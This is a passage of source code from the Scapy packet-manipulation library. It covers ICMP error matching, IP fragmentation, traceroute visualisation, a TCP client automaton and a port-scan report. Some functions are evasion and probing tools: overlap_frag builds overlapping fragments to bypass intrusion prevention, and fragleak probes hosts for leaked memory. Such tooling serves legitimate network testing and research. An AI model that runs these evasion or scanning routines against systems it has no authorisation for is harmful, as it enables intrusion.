noqa: E501 ConditionalField(ByteField("length", 0), lambda pkt:pkt.type in [3, 11, 12]), # noqa: E501 ConditionalField(IPField("addr_mask", "0.0.0.0"), lambda pkt:pkt.type in [17, 18]), # noqa: E501 ConditionalField(ShortField("nexthopmtu", 0), lambda pkt:pkt.type == 3), # noqa: E501 ConditionalField(ShortField("unused", 0), lambda pkt:pkt.type in [11, 12]), # noqa: E501 ConditionalField(IntField("unused", 0), lambda pkt:pkt.type not in [0, 3, 5, 8, 11, 12, 13, 14, 15, 16, 17, 18]) # noqa: E501 ] def post_build(self, p, pay): p += pay if self.chksum is None: ck = checksum(p) p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:] return p def hashret(self): if self.type in [0, 8, 13, 14, 15, 16, 17, 18, 33, 34, 35, 36, 37, 38]: return struct.pack("HH", self.id, self.seq) + self.payload.hashret() # noqa: E501 return self.payload.hashret() def answers(self, other): if not isinstance(other, ICMP): return 0 if ((other.type, self.type) in [(8, 0), (13, 14), (15, 16), (17, 18), (33, 34), (35, 36), (37, 38)] and # noqa: E501 self.id == other.id and self.seq == other.seq): return 1 return 0 def guess_payload_class(self, payload): if self.type in [3, 4, 5, 11, 12]: return IPerror else: return None def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("ICMP %IP.src% > %IP.dst% %ICMP.type% %ICMP.code%") # noqa: E501 else: return self.sprintf("ICMP %ICMP.type% %ICMP.code%") class IPerror(IP): name = "IP in ICMP" def answers(self, other): if not isinstance(other, IP): return 0 # Check if IP addresses match test_IPsrc = not conf.checkIPsrc or self.src == other.src test_IPdst = self.dst == other.dst # Check if IP ids match test_IPid = not conf.checkIPID or self.id == other.id test_IPid |= conf.checkIPID and self.id == socket.htons(other.id) # Check if IP protocols match test_IPproto = self.proto == other.proto if not (test_IPsrc and test_IPdst and test_IPid and test_IPproto): return 0 return self.payload.answers(other.payload) def mysummary(self): return Packet.mysummary(self) class TCPerror(TCP): name = "TCP in ICMP" def answers(self, other): if not isinstance(other, TCP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 if conf.check_TCPerror_seqack: if self.seq is not None: if self.seq != other.seq: return 0 if self.ack is not None: if self.ack != other.ack: return 0 return 1 def mysummary(self): return Packet.mysummary(self) class UDPerror(UDP): name = "UDP in ICMP" def answers(self, other): if not isinstance(other, UDP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 return 1 def mysummary(self): return Packet.mysummary(self) class ICMPerror(ICMP): name = "ICMP in ICMP" def answers(self, other): if not isinstance(other, ICMP): return 0 if not ((self.type == other.type) and (self.code == other.code)): return 0 if self.code in [0, 8, 13, 14, 17, 18]: if (self.id == other.id and self.seq == other.seq): return 1 else: return 0 else: return 1 def mysummary(self): return Packet.mysummary(self) bind_layers(Ether, IP, type=2048) bind_layers(CookedLinux, IP, proto=2048) bind_layers(GRE, IP, proto=2048) bind_layers(SNAP, IP, code=2048) bind_bottom_up(Loopback, IP, type=0) bind_layers(Loopback, IP, type=socket.AF_INET) bind_layers(IPerror, IPerror, frag=0, proto=4) bind_layers(IPerror, ICMPerror, frag=0, proto=1) bind_layers(IPerror, TCPerror, frag=0, proto=6) bind_layers(IPerror, UDPerror, frag=0, proto=17) bind_layers(IP, IP, frag=0, proto=4) bind_layers(IP, ICMP, frag=0, proto=1) bind_layers(IP, TCP, frag=0, proto=6) bind_layers(IP, UDP, frag=0, proto=17) bind_layers(IP, GRE, frag=0, proto=47) conf.l2types.register(DLT_RAW, IP) conf.l2types.register_num2layer(DLT_RAW_ALT, IP) conf.l2types.register(DLT_IPV4, IP) conf.l3types.register(ETH_P_IP, IP) conf.l3types.register_num2layer(ETH_P_ALL, IP) def inet_register_l3(l2, l3): return getmacbyip(l3.dst) conf.neighbor.register_l3(Ether, IP, inet_register_l3) conf.neighbor.register_l3(Dot3, IP, inet_register_l3) ################### # Fragmentation # ################### @conf.commands.register def fragment(pkt, fragsize=1480): """Fragment a big IP datagram""" lastfragsz = fragsize fragsize -= fragsize % 8 lst = [] for p in pkt: s = raw(p[IP].payload) nb = (len(s) - lastfragsz + fragsize - 1) // fragsize + 1 for i in range(nb): q = p.copy() del(q[IP].payload) del(q[IP].chksum) del(q[IP].len) if i != nb - 1: q[IP].flags |= 1 fragend = (i + 1) * fragsize else: fragend = i * fragsize + lastfragsz q[IP].frag += i * fragsize // 8 r = conf.raw_layer(load=s[i * fragsize:fragend]) r.overload_fields = p[IP].payload.overload_fields.copy() q.add_payload(r) lst.append(q) return lst @conf.commands.register def overlap_frag(p, overlap, fragsize=8, overlap_fragsize=None): """Build overlapping fragments to bypass NIPS p: the original packet overlap: the overlapping data fragsize: the fragment size of the packet overlap_fragsize: the fragment size of the overlapping packet""" if overlap_fragsize is None: overlap_fragsize = fragsize q = p.copy() del(q[IP].payload) q[IP].add_payload(overlap) qfrag = fragment(q, overlap_fragsize) qfrag[-1][IP].flags |= 1 return qfrag + fragment(p, fragsize) def _defrag_list(lst, defrag, missfrag): """Internal usage only. Part of the _defrag_logic""" p = lst[0] lastp = lst[-1] if p.frag > 0 or lastp.flags.MF: # first or last fragment missing missfrag.extend(lst) return p = p.copy() if conf.padding_layer in p: del(p[conf.padding_layer].underlayer.payload) ip = p[IP] if ip.len is None or ip.ihl is None: clen = len(ip.payload) else: clen = ip.len - (ip.ihl << 2) txt = conf.raw_layer() for q in lst[1:]: if clen != q.frag << 3: # Wrong fragmentation offset if clen > q.frag << 3: warning("Fragment overlap (%i > %i) %r || %r || %r" % (clen, q.frag << 3, p, txt, q)) # noqa: E501 missfrag.extend(lst) break if q[IP].len is None or q[IP].ihl is None: clen += len(q[IP].payload) else: clen += q[IP].len - (q[IP].ihl << 2) if conf.padding_layer in q: del(q[conf.padding_layer].underlayer.payload) txt.add_payload(q[IP].payload.copy()) if q.time > p.time: p.time = q.time else: ip.flags.MF = False del(ip.chksum) del(ip.len) p = p / txt p._defrag_pos = max(x._defrag_pos for x in lst) defrag.append(p) def _defrag_logic(plist, complete=False): """Internal function used to defragment a list of packets. It contains the logic behind the defrag() and defragment() functions """ frags = defaultdict(lambda: []) final = [] pos = 0 for p in plist: p._defrag_pos = pos pos += 1 if IP in p: ip = p[IP] if ip.frag != 0 or ip.flags.MF: uniq = (ip.id, ip.src, ip.dst, ip.proto) frags[uniq].append(p) continue final.append(p) defrag = [] missfrag = [] for lst in six.itervalues(frags): lst.sort(key=lambda x: x.frag) _defrag_list(lst, defrag, missfrag) defrag2 = [] for p in defrag: q = p.__class__(raw(p)) q._defrag_pos = p._defrag_pos q.time = p.time defrag2.append(q) if complete: final.extend(defrag2) final.extend(missfrag) final.sort(key=lambda x: x._defrag_pos) if hasattr(plist, "listname"): name = "Defragmented %s" % plist.listname else: name = "Defragmented" return PacketList(final, name=name) else: return PacketList(final), PacketList(defrag2), PacketList(missfrag) @conf.commands.register def defrag(plist): """defrag(plist) -> ([not fragmented], [defragmented], [ [bad fragments], [bad fragments], ... ])""" return _defrag_logic(plist, complete=False) @conf.commands.register def defragment(plist): """defragment(plist) -> plist defragmented as much as possible """ return _defrag_logic(plist, complete=True) # Add timeskew_graph() method to PacketList def _packetlist_timeskew_graph(self, ip, **kargs): """Tries to graph the timeskew between the timestamps and real time for a given ip""" # noqa: E501 # Filter TCP segments which source address is 'ip' tmp = (self._elt2pkt(x) for x in self.res) b = (x for x in tmp if IP in x and x[IP].src == ip and TCP in x) # Build a list of tuples (creation_time, replied_timestamp) c = [] tsf = ICMPTimeStampField("", None) for p in b: opts = p.getlayer(TCP).options for o in opts: if o[0] == "Timestamp": c.append((p.time, tsf.any2i("", o[1][0]))) # Stop if the list is empty if not c: warning("No timestamps found in packet list") return [] # Prepare the data that will be plotted first_creation_time = c[0][0] first_replied_timestamp = c[0][1] def _wrap_data(ts_tuple, wrap_seconds=2000): """Wrap the list of tuples.""" ct, rt = ts_tuple # (creation_time, replied_timestamp) X = ct % wrap_seconds Y = ((ct - first_creation_time) - ((rt - first_replied_timestamp) / 1000.0)) # noqa: E501 return X, Y data = [_wrap_data(e) for e in c] # Mimic the default gnuplot output if kargs == {}: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS lines = plt.plot(data, **kargs) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines PacketList.timeskew_graph = _packetlist_timeskew_graph # Create a new packet list class TracerouteResult(SndRcvList): __slots__ = ["graphdef", "graphpadding", "graphASres", "padding", "hloc", "nloc"] def __init__(self, res=None, name="Traceroute", stats=None): SndRcvList.__init__(self, res, name, stats) self.graphdef = None self.graphASres = None self.padding = 0 self.hloc = None self.nloc = None def show(self): return self.make_table(lambda s, r: (s.sprintf("%IP.dst%:{TCP:tcp%ir,TCP.dport%}{UDP:udp%ir,UDP.dport%}{ICMP:ICMP}"), # noqa: E501 s.ttl, r.sprintf("%-15s,IP.src% {TCP:%TCP.flags%}{ICMP:%ir,ICMP.type%}"))) # noqa: E501 def get_trace(self): trace = {} for s, r in self.res: if IP not in s: continue d = s[IP].dst if d not in trace: trace[d] = {} trace[d][s[IP].ttl] = r[IP].src, ICMP not in r for k in six.itervalues(trace): try: m = min(x for x, y in six.iteritems(k) if y[1]) except ValueError: continue for li in list(k): # use list(): k is modified in the loop if li > m: del k[li] return trace def trace3D(self, join=True): """Give a 3D representation of the traceroute. right button: rotate the scene middle button: zoom shift-left button: move the scene left button on a ball: toggle IP displaying double-click button on a ball: scan ports 21,22,23,25,80 and 443 and display the result""" # noqa: E501 # When not ran from a notebook, vpython pooly closes itself # using os._exit once finished. We pack it into a Process import multiprocessing p = multiprocessing.Process(target=self.trace3D_notebook) p.start() if join: p.join() def trace3D_notebook(self): """Same than trace3D, used when ran from Jupyther notebooks""" trace = self.get_trace() import vpython class IPsphere(vpython.sphere): def __init__(self, ip, **kargs): vpython.sphere.__init__(self, **kargs) self.ip = ip self.label = None self.setlabel(self.ip) self.last_clicked = None self.full = False self.savcolor = vpython.vec(*self.color.value) def fullinfos(self): self.full = True self.color = vpython.vec(1, 0, 0) a, b = sr(IP(dst=self.ip) / TCP(dport=[21, 22, 23, 25, 80, 443], flags="S"), timeout=2, verbose=0) # noqa: E501 if len(a) == 0: txt = "%s:\nno results" % self.ip else: txt = "%s:\n" % self.ip for s, r in a: txt += r.sprintf("{TCP:%IP.src%:%TCP.sport% %TCP.flags%}{TCPerror:%IPerror.dst%:%TCPerror.dport% %IP.src% %ir,ICMP.type%}\n") # noqa: E501 self.setlabel(txt, visible=1) def unfull(self): self.color = self.savcolor self.full = False self.setlabel(self.ip) def setlabel(self, txt, visible=None): if self.label is not None: if visible is None: visible = self.label.visible self.label.visible = 0 elif visible is None: visible = 0 self.label = vpython.label(text=txt, pos=self.pos, space=self.radius, xoffset=10, yoffset=20, visible=visible) # noqa: E501 def check_double_click(self): try: if self.full or not self.label.visible: return False if self.last_clicked is not None: return (time.time() - self.last_clicked) < 0.5 return False finally: self.last_clicked = time.time() def action(self): self.label.visible ^= 1 if self.full: self.unfull() vpython.scene = vpython.canvas() vpython.scene.title = "

%s
" % self.listname # noqa: E501 vpython.scene.append_to_caption( re.sub( r'\%(.*)\%', r'\1', re.sub( r'\`(.*)\`', r'\1', """Commands: %Click% to toggle information about a node. %Double click% to perform a quick web scan on this node. Camera usage: `Right button drag or Ctrl-drag` to rotate "camera" to view scene. `Shift-drag` to move the object around. `Middle button or Alt-drag` to drag up or down to zoom in or out. On a two-button mouse, `middle is wheel or left + right`. Touch screen: pinch/extend to zoom, swipe or two-finger rotate.""" ) ) ) vpython.scene.exit = True rings = {} tr3d = {} for i in trace: tr = trace[i] tr3d[i] = [] for t in range(1, max(tr) + 1): if t not in rings: rings[t] = [] if t in tr: if tr[t] not in rings[t]: rings[t].append(tr[t]) tr3d[i].append(rings[t].index(tr[t])) else: rings[t].append(("unk", -1)) tr3d[i].append(len(rings[t]) - 1) for t in rings: r = rings[t] tmp_len = len(r) for i in range(tmp_len): if r[i][1] == -1: col = vpython.vec(0.75, 0.75, 0.75) elif r[i][1]: col = vpython.color.green else: col = vpython.color.blue s = IPsphere(pos=vpython.vec((tmp_len - 1) * vpython.cos(2 * i * vpython.pi / tmp_len), (tmp_len - 1) * vpython.sin(2 * i * vpython.pi / tmp_len), 2 * t), # noqa: E501 ip=r[i][0], color=col) for trlst in six.itervalues(tr3d): if t <= len(trlst): if trlst[t - 1] == i: trlst[t - 1] = s forecol = colgen(0.625, 0.4375, 0.25, 0.125) for trlst in six.itervalues(tr3d): col = vpython.vec(*next(forecol)) start = vpython.vec(0, 0, 0) for ip in trlst: vpython.cylinder(pos=start, axis=ip.pos - start, color=col, radius=0.2) # noqa: E501 start = ip.pos vpython.rate(50) # Keys handling # TODO: there is currently no way of closing vpython correctly # https://github.com/BruceSherwood/vpython-jupyter/issues/36 # def keyboard_press(ev): # k = ev.key # if k == "esc" or k == "q": # pass # TODO: close # # vpython.scene.bind('keydown', keyboard_press) # Mouse handling def mouse_click(ev): if ev.press == "left": o = vpython.scene.mouse.pick if o and isinstance(o, IPsphere): if o.check_double_click(): if o.ip == "unk": return o.fullinfos() else: o.action() vpython.scene.bind('mousedown', mouse_click) def world_trace(self): """Display traceroute results on a world map.""" # Check that the geoip2 module can be imported # Doc: http://geoip2.readthedocs.io/en/latest/ try: # GeoIP2 modules need to be imported as below import geoip2.database import geoip2.errors except ImportError: warning("Cannot import geoip2. Won't be able to plot the world.") return [] # Check availability of database if not conf.geoip_city: warning("Cannot import the geolite2 CITY database.\n" "Download it from http://dev.maxmind.com/geoip/geoip2/geolite2/" # noqa: E501 " then set its path to conf.geoip_city") return [] # Check availability of plotting devices try: import cartopy.crs as ccrs except ImportError: warning("Cannot import cartopy.\n" "More infos on http://scitools.org.uk/cartopy/docs/latest/installing.html") # noqa: E501 return [] if not MATPLOTLIB: warning("Matplotlib is not installed. Won't be able to plot the world.") # noqa: E501 return [] # Open & read the GeoListIP2 database try: db = geoip2.database.Reader(conf.geoip_city) except Exception: warning("Cannot open geoip2 database at %s", conf.geoip_city) return [] # Regroup results per trace ips = {} rt = {} ports_done = {} for s, r in self.res: ips[r.src] = None if s.haslayer(TCP) or s.haslayer(UDP): trace_id = (s.src, s.dst, s.proto, s.dport) elif s.haslayer(ICMP): trace_id = (s.src, s.dst, s.proto, s.type) else: trace_id = (s.src, s.dst, s.proto, 0) trace = rt.get(trace_id, {}) if not r.haslayer(ICMP) or r.type != 11: if trace_id in ports_done: continue ports_done[trace_id] = None trace[s.ttl] = r.src rt[trace_id] = trace # Get the addresses locations trt = {} for trace_id in rt: trace = rt[trace_id] loctrace = [] for i in range(max(trace)): ip = trace.get(i, None) if ip is None: continue # Fetch database try: sresult = db.city(ip) except geoip2.errors.AddressNotFoundError: continue loctrace.append((sresult.location.longitude, sresult.location.latitude)) # noqa: E501 if loctrace: trt[trace_id] = loctrace # Load the map renderer plt.figure(num='Scapy') ax = plt.axes(projection=ccrs.PlateCarree()) # Draw countries ax.coastlines() ax.stock_img() # Set normal size ax.set_global() # Add title plt.title("Scapy traceroute results") from matplotlib.collections import LineCollection from matplotlib import colors as mcolors colors_cycle = iter(mcolors.BASE_COLORS) lines = [] # Split traceroute measurement for key, trc in six.iteritems(trt): # Get next color color = next(colors_cycle) # Gather mesurments data data_lines = [(trc[i], trc[i + 1]) for i in range(len(trc) - 1)] # Create line collection line_col = LineCollection(data_lines, linewidths=2, label=key[1], color=color) lines.append(line_col) ax.add_collection(line_col) # Create map points lines.extend([ax.plot(*x, marker='.', color=color) for x in trc]) # Generate legend ax.legend() # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() # Clean ax.remove() # Return the drawn lines return lines def make_graph(self, ASres=None, padding=0): self.graphASres = ASres self.graphpadding = padding ips = {} rt = {} ports = {} ports_done = {} for s, r in self.res: r = r.getlayer(IP) or (conf.ipv6_enabled and r[scapy.layers.inet6.IPv6]) or r # noqa: E501 s = s.getlayer(IP) or (conf.ipv6_enabled and s[scapy.layers.inet6.IPv6]) or s # noqa: E501 ips[r.src] = None if TCP in s: trace_id = (s.src, s.dst, 6, s.dport) elif UDP in s: trace_id = (s.src, s.dst, 17, s.dport) elif ICMP in s: trace_id = (s.src, s.dst, 1, s.type) else: trace_id = (s.src, s.dst, s.proto, 0) trace = rt.get(trace_id, {}) ttl = conf.ipv6_enabled and scapy.layers.inet6.IPv6 in s and s.hlim or s.ttl # noqa: E501 if not (ICMP in r and r[ICMP].type == 11) and not (conf.ipv6_enabled and scapy.layers.inet6.IPv6 in r and scapy.layers.inet6.ICMPv6TimeExceeded in r): # noqa: E501 if trace_id in ports_done: continue ports_done[trace_id] = None p = ports.get(r.src, []) if TCP in r: p.append(r.sprintf(" %TCP.sport% %TCP.flags%")) # noqa: E501 trace[ttl] = r.sprintf('"%r,src%":T%ir,TCP.sport%') elif UDP in r: p.append(r.sprintf(" %UDP.sport%")) trace[ttl] = r.sprintf('"%r,src%":U%ir,UDP.sport%') elif ICMP in r: p.append(r.sprintf(" ICMP %ICMP.type%")) trace[ttl] = r.sprintf('"%r,src%":I%ir,ICMP.type%') else: p.append(r.sprintf("{IP: IP %proto%}{IPv6: IPv6 %nh%}")) # noqa: E501 trace[ttl] = r.sprintf('"%r,src%":{IP:P%ir,proto%}{IPv6:P%ir,nh%}') # noqa: E501 ports[r.src] = p else: trace[ttl] = r.sprintf('"%r,src%"') rt[trace_id] = trace # Fill holes with unk%i nodes unknown_label = incremental_label("unk%i") blackholes = [] bhip = {} for rtk in rt: trace = rt[rtk] max_trace = max(trace) for n in range(min(trace), max_trace): if n not in trace: trace[n] = next(unknown_label) if rtk not in ports_done: if rtk[2] == 1: # ICMP bh = "%s %i/icmp" % (rtk[1], rtk[3]) elif rtk[2] == 6: # TCP bh = "%s %i/tcp" % (rtk[1], rtk[3]) elif rtk[2] == 17: # UDP bh = '%s %i/udp' % (rtk[1], rtk[3]) else: bh = '%s %i/proto' % (rtk[1], rtk[2]) ips[bh] = None bhip[rtk[1]] = bh bh = '"%s"' % bh trace[max_trace + 1] = bh blackholes.append(bh) # Find AS numbers ASN_query_list = set(x.rsplit(" ", 1)[0] for x in ips) if ASres is None: ASNlist = [] else: ASNlist = ASres.resolve(*ASN_query_list) ASNs = {} ASDs = {} for ip, asn, desc, in ASNlist: if asn is None: continue iplist = ASNs.get(asn, []) if ip in bhip: if ip in ports: iplist.append(ip) iplist.append(bhip[ip]) else: iplist.append(ip) ASNs[asn] = iplist ASDs[asn] = desc backcolorlist = colgen("60", "86", "ba", "ff") forecolorlist = colgen("a0", "70", "40", "20") s = "digraph trace {\n" s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" s += "\n#ASN clustering\n" for asn in ASNs: s += '\tsubgraph cluster_%s {\n' % asn col = next(backcolorlist) s += '\t\tcolor="#%s%s%s";' % col s += '\t\tnode [fillcolor="#%s%s%s",style=filled];' % col s += '\t\tfontsize = 10;' s += '\t\tlabel = "%s\\n[%s]"\n' % (asn, ASDs[asn]) for ip in ASNs[asn]: s += '\t\t"%s";\n' % ip s += "\t}\n" s += "#endpoints\n" for p in ports: s += '\t"%s" [shape=record,color=black,fillcolor=green,style=filled,label="%s|%s"];\n' % (p, p, "|".join(ports[p])) # noqa: E501 s += "\n#Blackholes\n" for bh in blackholes: s += '\t%s [shape=octagon,color=black,fillcolor=red,style=filled];\n' % bh # noqa: E501 if padding: s += "\n#Padding\n" pad = {} for snd, rcv in self.res: if rcv.src not in ports and rcv.haslayer(conf.padding_layer): p = rcv.getlayer(conf.padding_layer).load if p != b"\x00" * len(p): pad[rcv.src] = None for rcv in pad: s += '\t"%s" [shape=triangle,color=black,fillcolor=red,style=filled];\n' % rcv # noqa: E501 s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" for rtk in rt: s += "#---[%s\n" % repr(rtk) s += '\t\tedge [color="#%s%s%s"];\n' % next(forecolorlist) trace = rt[rtk] maxtrace = max(trace) for n in range(min(trace), maxtrace): s += '\t%s ->\n' % trace[n] s += '\t%s;\n' % trace[maxtrace] s += "}\n" self.graphdef = s def graph(self, ASres=conf.AS_resolver, padding=0, **kargs): """x.graph(ASres=conf.AS_resolver, other args): ASres=None : no AS resolver => no clustering ASres=AS_resolver() : default whois AS resolver (riswhois.ripe.net) ASres=AS_resolver_cymru(): use whois.cymru.com whois database ASres=AS_resolver(server="whois.ra.net") type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option # noqa: E501 target: filename or redirect. Defaults pipe to Imagemagick's display program # noqa: E501 prog: which graphviz program to use""" if (self.graphdef is None or self.graphASres != ASres or self.graphpadding != padding): self.make_graph(ASres, padding) return do_graph(self.graphdef, **kargs) @conf.commands.register def traceroute(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4=None, filter=None, timeout=2, verbose=None, **kargs): # noqa: E501 """Instant TCP traceroute :param target: hostnames or IP addresses :param dport: TCP destination port (default is 80) :param minttl: minimum TTL (default is 1) :param maxttl: maximum TTL (default is 30) :param sport: TCP source port (default is random) :param l4: use a Scapy packet instead of TCP :param filter: BPF filter applied to received packets :param timeout: time to wait for answers (default is 2s) :param verbose: detailed output :return: an TracerouteResult, and a list of unanswered packets""" if verbose is None: verbose = conf.verb if filter is None: # we only consider ICMP error packets and TCP packets with at # least the ACK flag set *and* either the SYN or the RST flag # set filter = "(icmp and (icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 or icmp[0]=12)) or (tcp and (tcp[13] & 0x16 > 0x10))" # noqa: E501 if l4 is None: a, b = sr(IP(dst=target, id=RandShort(), ttl=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport), # noqa: E501 timeout=timeout, filter=filter, verbose=verbose, **kargs) else: # this should always work filter = "ip" a, b = sr(IP(dst=target, id=RandShort(), ttl=(minttl, maxttl)) / l4, timeout=timeout, filter=filter, verbose=verbose, **kargs) a = TracerouteResult(a.res) if verbose: a.show() return a, b @conf.commands.register def traceroute_map(ips, **kargs): """Util function to call traceroute on multiple targets, then show the different paths on a map. :param ips: a list of IPs on which traceroute will be called :param kargs: (optional) kwargs, passed to traceroute """ kargs.setdefault("verbose", 0) return traceroute(ips)[0].world_trace() ############################# # Simple TCP client stack # ############################# class TCP_client(Automaton): """ Creates a TCP Client Automaton. This automaton will handle TCP 3-way handshake. Usage: the easiest usage is to use it as a SuperSocket. >>> a = TCP_client.tcplink(HTTP, "www.google.com", 80) >>> a.send(HTTPRequest()) >>> a.recv() :param ip: the ip to connect to :param port: """ def parse_args(self, ip, port, *args, **kargs): from scapy.sessions import TCPSession self.dst = str(Net(ip)) self.dport = port self.sport = random.randrange(0, 2**16) self.l4 = IP(dst=ip) / TCP(sport=self.sport, dport=self.dport, flags=0, seq=random.randrange(0, 2**32)) self.src = self.l4.src self.sack = self.l4[TCP].ack self.rel_seq = None self.rcvbuf = TCPSession(prn=self._transmit_packet, store=False) bpf = "host %s and host %s and port %i and port %i" % (self.src, self.dst, self.sport, self.dport) Automaton.parse_args(self, filter=bpf, **kargs) def _transmit_packet(self, pkt): """Transmits a packet from TCPSession to the SuperSocket""" self.oi.tcp.send(raw(pkt[TCP].payload)) def master_filter(self, pkt): return (IP in pkt and pkt[IP].src == self.dst and pkt[IP].dst == self.src and TCP in pkt and pkt[TCP].sport == self.dport and pkt[TCP].dport == self.sport and self.l4[TCP].seq >= pkt[TCP].ack and # XXX: seq/ack 2^32 wrap up # noqa: E501 ((self.l4[TCP].ack == 0) or (self.sack <= pkt[TCP].seq <= self.l4[TCP].ack + pkt[TCP].window))) # noqa: E501 @ATMT.state(initial=1) def START(self): pass @ATMT.state() def SYN_SENT(self): pass @ATMT.state() def ESTABLISHED(self): pass @ATMT.state() def LAST_ACK(self): pass @ATMT.state(final=1) def CLOSED(self): pass @ATMT.condition(START) def connect(self): raise self.SYN_SENT() @ATMT.action(connect) def send_syn(self): self.l4[TCP].flags = "S" self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(SYN_SENT) def synack_received(self, pkt): if pkt[TCP].flags.SA: raise self.ESTABLISHED().action_parameters(pkt) @ATMT.action(synack_received) def send_ack_of_synack(self, pkt): self.l4[TCP].ack = pkt[TCP].seq + 1 self.l4[TCP].flags = "A" self.send(self.l4) @ATMT.receive_condition(ESTABLISHED) def incoming_data_received(self, pkt): if not isinstance(pkt[TCP].payload, (NoPayload, conf.padding_layer)): raise self.ESTABLISHED().action_parameters(pkt) @ATMT.action(incoming_data_received) def receive_data(self, pkt): data = raw(pkt[TCP].payload) if data and self.l4[TCP].ack == pkt[TCP].seq: self.sack = self.l4[TCP].ack self.l4[TCP].ack += len(data) self.l4[TCP].flags = "A" # Answer with an Ack self.send(self.l4) # Process data - will be sent to the SuperSocket through this self.rcvbuf.on_packet_received(pkt) @ATMT.ioevent(ESTABLISHED, name="tcp", as_supersocket="tcplink") def outgoing_data_received(self, fd): raise self.ESTABLISHED().action_parameters(fd.recv()) @ATMT.action(outgoing_data_received) def send_data(self, d): self.l4[TCP].flags = "PA" self.send(self.l4 / d) self.l4[TCP].seq += len(d) @ATMT.receive_condition(ESTABLISHED) def reset_received(self, pkt): if pkt[TCP].flags.R: raise self.CLOSED() @ATMT.receive_condition(ESTABLISHED) def fin_received(self, pkt): if pkt[TCP].flags.F: raise self.LAST_ACK().action_parameters(pkt) @ATMT.action(fin_received) def send_finack(self, pkt): self.l4[TCP].flags = "FA" self.l4[TCP].ack = pkt[TCP].seq + 1 self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(LAST_ACK) def ack_of_fin_received(self, pkt): if pkt[TCP].flags.A: raise self.CLOSED() ##################### # Reporting stuff # ##################### @conf.commands.register def report_ports(target, ports): """portscan a target and output a LaTeX table report_ports(target, ports) -> string""" ans, unans = sr(IP(dst=target) / TCP(dport=ports), timeout=5) rep = "\\begin{tabular}{|r|l|l|}\n\\hline\n" for s, r in ans: if not r.haslayer(ICMP): if r.payload.flags == 0x12: rep += r.sprintf("%TCP.sport% & open & SA \\\\\n") rep += "\\hline\n" for s, r in ans: if r.haslayer(ICMP): rep += r.sprintf("%TCPerror.dport% & closed & ICMP type %ICMP.type%/%ICMP.code% from %IP.src% \\\\\n") # noqa: E501 elif r.payload.flags != 0x12: rep += r.sprintf("%TCP.sport% & closed & TCP %TCP.flags% \\\\\n") rep += "\\hline\n" for i in unans: rep += i.sprintf("%TCP.dport% & ? & unanswered \\\\\n") rep += "\\hline\n\\end{tabular}\n" return rep @conf.commands.register def IPID_count(lst, funcID=lambda x: x[1].id, funcpres=lambda x: x[1].summary()): # noqa: E501 """Identify IP id values classes in a list of packets lst: a list of packets funcID: a function that returns IP id values funcpres: a function used to summarize packets""" idlst = [funcID(e) for e in lst] idlst.sort() classes = [idlst[0]] classes += [t[1] for t in zip(idlst[:-1], idlst[1:]) if abs(t[0] - t[1]) > 50] # noqa: E501 lst = [(funcID(x), funcpres(x)) for x in lst] lst.sort() print("Probably %i classes:" % len(classes), classes) for id, pr in lst: print("%5i" % id, pr) @conf.commands.register def fragleak(target, sport=123, dport=123, timeout=0.2, onlyasc=0, count=None): load = "XXXXYYYYYYYYYY" pkt = IP(dst=target, id=RandShort(), options=b"\x00" * 40, flags=1) pkt /= UDP(sport=sport, dport=sport) / load s = conf.L3socket() intr = 0 found = {} try: while count is None or count: if count is not None and isinstance(count, int): count -= 1 try: if not intr: s.send(pkt) sin = select.select([s], [], [], timeout)[0] if not sin: continue ans = s.recv(1600) if not isinstance(ans, IP): # TODO: IPv6 continue if not isinstance(ans.payload, ICMP): continue if not isinstance(ans.payload.payload, IPerror): continue if ans.payload.payload.dst != target: continue if ans.src != target: print("leak from", ans.src) if not ans.haslayer(conf.padding_layer): continue leak = ans.getlayer(conf.padding_layer).load if leak not in found: found[leak] = None linehexdump(leak, onlyasc=onlyasc) except KeyboardInterrupt: if intr: raise intr = 1 except KeyboardInterrupt: pass @conf.commands.register def fragleak2(target, timeout=0.4, onlyasc=0, count=None): found = {} try: while count is None or count: if count is not None and isinstance(count, int): count -= 1 pkt = IP(dst=target, options=b"\x00" * 40, proto=200) pkt /= "XXXXYYYYYYYYYYYY" p = sr1(pkt, timeout=timeout, verbose=0) if not p: continue if conf.padding_layer in p: leak = p[conf.padding_layer].load if leak not in found: found[leak] = None linehexdump(leak, onlyasc=onlyasc) except Exception: pass conf.stats_classic_protocols += [TCP, UDP, ICMP] conf.stats_dot11_protocols += [TCP, UDP, ICMP] if conf.ipv6_enabled: import scapy.layers.inet6 scapy-2.4.4/scapy/layers/inet6.py000066400000000000000000004537171372370053500167030ustar00rootroot00000000000000############################################################################# # # # inet6.py --- IPv6 support for Scapy # # see http://natisbad.org/IPv6/ # # for more information # # # # Copyright (C) 2005 Guillaume Valadon # # Arnaud Ebalard # # # # This program is free software; you can redistribute it and/or modify it # # under the terms of the GNU General Public License version 2 as # # published by the Free Software Foundation. # # # # This program is distributed in the hope that it will be useful, but # # WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # # General Public License for more details. # # # ############################################################################# """ IPv6 (Internet Protocol v6). """ from __future__ import absolute_import from __future__ import print_function from hashlib import md5 import random import socket import struct from time import gmtime, strftime from scapy.arch import get_if_hwaddr from scapy.as_resolvers import AS_resolver_riswhois from scapy.base_classes import Gen from scapy.compat import chb, orb, raw, plain_str, bytes_encode from scapy.config import conf from scapy.data import DLT_IPV6, DLT_RAW, DLT_RAW_ALT, ETHER_ANY, ETH_P_IPV6, \ MTU from scapy.error import warning from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ DestIP6Field, FieldLenField, FlagsField, 